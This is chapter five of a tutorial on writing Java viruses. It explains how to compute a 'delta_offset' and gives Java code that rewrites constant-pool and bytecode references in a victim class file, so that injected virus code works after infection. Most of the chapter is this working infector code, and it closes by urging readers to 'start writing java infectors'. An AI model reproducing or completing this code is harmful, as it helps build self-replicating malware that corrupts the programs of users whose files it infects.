[ chapter 5 ]
    introduction  

    There is plenty to get through before we can get cracking, building a java virus. We must learn how to iterate through the constant_pool and method_attribute to update all constant references to reflect the change in the delta_offset. After defeating this problem yet another one raises its head but that is for the next installment. 

    analysis  
     

  • the delta offset
  • It may be of some use to explain to you, the reader, what the delta_offset is. Well to anybody who knows anything about virus writing this should be familiar territory, the delta_offset in java viruses is the difference between the size of the host_constants_pool and the victim_constants_pool. This is added to all constants references in both the method attribute and the constants pool so that everything is once again referencing the same material. Thus the difference between the delta_offset here and in other viruses is that we are dealing with array entries rather than byte lengths in the calculation.  

    This can be shown graphically as follows: 

    1. The host file 
     
     

    constant_pool[1]
    constant_pool[2]
    constant_pool[3]
    constant_pool[4]
    2. The victim file 
     
     
    constant_pool[1]
    constant_pool[2]
    constant_pool[3]
    3. The infected file without delta_offset 
     
     
    constant_pool[1]
    constant_pool[2]
    constant_pool[3]
    constant_pool[3]
    constant_pool[4]
      

    Now when the virus constants (purple) are copied across we need to change any references to these constants in various places inside the class file. The amount we change them by is calculated by the following equation: 

    delta_offset = (victim_cp_count -  
                   (host_cp_count - virus_cp_count)); 

                 = 4 - (5 - 2) = 1 

    This is clearly the case since the virus constants in the newly infected file have been shifted upwards by one entry. See the diagram below: 

    4. Infected file with updated delta_offset 
     
     

    constant_pool[1]
    constant_pool[2]
    constant_pool[3]
    constant_pool[4]
    constant_pool[5]
    constant_pool[6]
     
     
  • Updating the delta_offset in the constant_pool
   //fpointer must be at the start of the virus_consts 
   victim.seek(fpointer); 
   for (int i = 1; i < host_cp_count; i++) { 
      int data1, data2; 
      int tag = victim.readUnsignedByte(); 
      fpointer++; 
      int skipper = 0; 
      switch (tag) { 
         case 7:  
         case 8:  data1 = victim.readUnsignedShort(); 
                  victim.seek(fpointer); 
                  victim.writeShort(data1 + delta_offset); 
                  fpointer += 2; 
                  break; 
         case 3: 
         case 4:  fpointer += 4; 
                  break; 
         case 9: 
         case 10: 
         case 11: 
         case 12:  
                 data1 = victim.readUnsignedShort(); 
                 data2 = victim.readUnsignedShort(); 
                 victim.seek(fpointer); 
                 victim.writeShort(data1 + delta_offset); 
                 victim.writeShort(data2 + delta_offset); 
                 fpointer += 4; 
                 break; 
         case 5: 
         case 6:  fpointer += 8; 
                  i++; 
                   break; 
         case 1:  skipper = victim.readUnsignedShort(); 
                  fpointer = fpointer + skipper + 2; 
                  break; 
         } 
         victim.seek(fpointer);  
      } 
  • Updating the delta_offset in the method_attribute
//fpointer must be at the start of the executable code  
while (fpointer <  
      (victim_method_pointer + virus_code_length + 24)) { 
   int data1; 
   int total_nulls; 
   int tag = victim.readUnsignedByte(); 
   fpointer++; 
   switch (tag) { 
      //the default is a one byte instruction 
      default: break;  
      //these are all of the two byte instructions 
      case 16: 
      case 21: 
      case 22: 
      case 23: 
      case 24: 
      case 25: 
      case 54: 
      case 55: 
      case 56: 
      case 57: 
      case 58: 
      case 169:  
      case 188: fpointer++; 
                break;                    
      //these are all of the three byte instructions 
      case 17: 
      case 132: 
      case 153: 
      case 154: 
      case 155: 
      case 156: 
      case 157: 
      case 158: 
      case 159: 
      case 160: 
      case 161: 
      case 162: 
      case 163: 
      case 164: 
      case 165: 
      case 166: 
      case 167: 
      case 168: 
      case 198: 
      case 199: fpointer += 2; 
                break; 
      //these are all of the five byte instructions 
      case 200: 
      case 201: fpointer += 4; 
                            break; 
                    
      //these are all of the referencing instructions 
      case 18:  data1 = victim.readUnsignedByte(); 
                victim.seek(fpointer); 
                victim.writeByte(data1 + delta_offset); 
                fpointer++; 
                break;  
      case 19:  
      case 20:  
      case 178: 
      case 179: 
      case 180: 
      case 181: 
      case 182: 
      case 183: 
      case 184: 
      case 187:  
      case 189: 
      case 192: 
      case 193: data1 = victim.readUnsignedShort(); 
                victim.seek(fpointer); 
                victim.writeShort(data1 + delta_offset); 
                fpointer += 2; 
                break; 
      case 197: data1 = victim.readUnsignedShort(); 
                victim.seek(fpointer); 
                victim.writeShort(data1 + delta_offset); 
                fpointer += 3; 
                break;  
      case 185: data1 = victim.readUnsignedShort();  
                victim.seek(victim_method_pointer); 
                victim.writeShort(data1 + delta_offset); 
                fpointer += 4; 
                break;  
      //these are all of the variable length instructions 
      case 170: total_nulls =  
         3-(fpointer - 1 - (victim_method_pointer+24))%4; 
         for (int i = 0; i < total_nulls; i++) {  
            tag = victim.readUnsignedByte(); 
            fpointer++; 
         }  
         fpointer += 4; 
         victim.seek(fpointer); 
         int low = victim.readInt(); 
         int high = victim.readInt(); 
         fpointer += 8 + 4*(high - low + 1); 
         break; 
      case 171: total_nulls =  
         3-(fpointer - 1 -(victim_method_pointer+24))%4; 
         for (int i = 0; i < total_nulls; i++) {  
            tag = victim.readUnsignedByte(); 
            fpointer++; 
         } 
         fpointer += 4; 
         victim.seek(fpointer); 
         int npairs = victim.readInt(); 
         fpointer += 4 + 8*npairs; 
         break; 
      case 196: tag = victim.readUnsignedByte(); 
                if (tag == 132) fpointer += 4; 
                else fpointer += 2; 
                break;  
      } // end of switch 
      victim.seek(fpointer); 
 } //end of for loop 
    conclusion  

    There are some tools in the chapter five directory that are useful for when you want to start experimenting seriously. Check them out and use them.

    This is some of the more difficult coding to comprehend so if you had no worries then go on to the next section and start writing java infectors! Do not despair if you cannot understand it all because I am now going to give a bit more information on what it all means.  

    If you would like to return to our HelloWorld experiment in the earlier chapter you may remember that the disassembly of the file looked like this: 

    Method void main(java.lang.String[]) 
       0 getstatic #7 <Field java.io.PrintStream out> 
       3 ldc #1 <String "Hello World!"> 
       5 invokevirtual #8 <Method void println(java.lang.String)> 
       8 return 

    The numbers that are preceded by the hash symbol refer to the constant_pool entry of the succeeding constant ie. constant_pool[7] = CONSTANT_Field  
                           java.io.PrintStream out 

    If we just copy the executable code to another file it will assume that constant_pool[7] is the same CONSTANT_Field when really it is more likely something else (like a string or a class) this causes some really fun errors with the java interpreter, a crash guard is handy in these cases. This is why we must use the delta_offset, to alter both the reference in the executable code and any fields in the constants pool which reference other constants eg. CONSTANT_Class references a CONSTANT_Utf8. Take heart, as we are almost complete.